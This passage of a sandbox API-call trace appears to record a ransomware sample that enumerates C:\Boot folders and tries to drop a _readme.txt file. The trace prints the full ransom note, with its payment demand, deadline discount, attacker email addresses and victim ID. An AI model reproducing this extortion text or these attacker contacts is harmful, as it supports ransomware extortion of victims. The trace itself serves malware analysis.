| out: hHeap=0x5010000) returned 1 [0111.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.554] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.554] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.554] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.554] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.554] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.554] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.554] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.554] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.554] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.554] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.554] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.554] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.554] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.554] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.554] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.554] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.554] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.554] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.554] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.554] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.554] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.554] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.554] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.554] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.554] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.554] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.554] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.554] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.554] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.554] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.554] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.554] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.554] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.556] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.556] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.556] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.556] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.556] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.556] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.556] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.556] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.556] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.556] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.556] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.556] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.556] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.556] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0111.556] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.556] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.556] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.556] PathFindFileNameW (pszPath="") returned="" [0111.556] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.556] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.556] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.557] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.557] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.557] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.557] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.557] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0111.557] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.557] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.557] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 0 [0111.557] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.557] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.557] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.557] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.557] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\_readme.txt" (normalized: "c:\\boot\\pl-pl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.557] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.557] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.557] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.557] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.557] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.558] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.558] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.558] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.558] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.558] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.558] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.558] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.558] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.558] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.558] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.558] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.558] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.558] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.558] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.558] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.558] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.558] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.558] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.558] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.558] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.558] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.558] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.558] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.559] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.559] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.559] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.559] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.559] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.559] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.559] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.559] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.559] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.559] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.559] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.559] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.559] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.559] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.559] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.559] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.559] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.559] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.559] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.560] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.560] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.560] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.560] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: 